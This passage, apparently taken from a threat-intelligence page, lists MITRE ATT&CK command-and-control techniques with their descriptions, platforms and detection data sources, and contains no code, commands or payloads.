Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre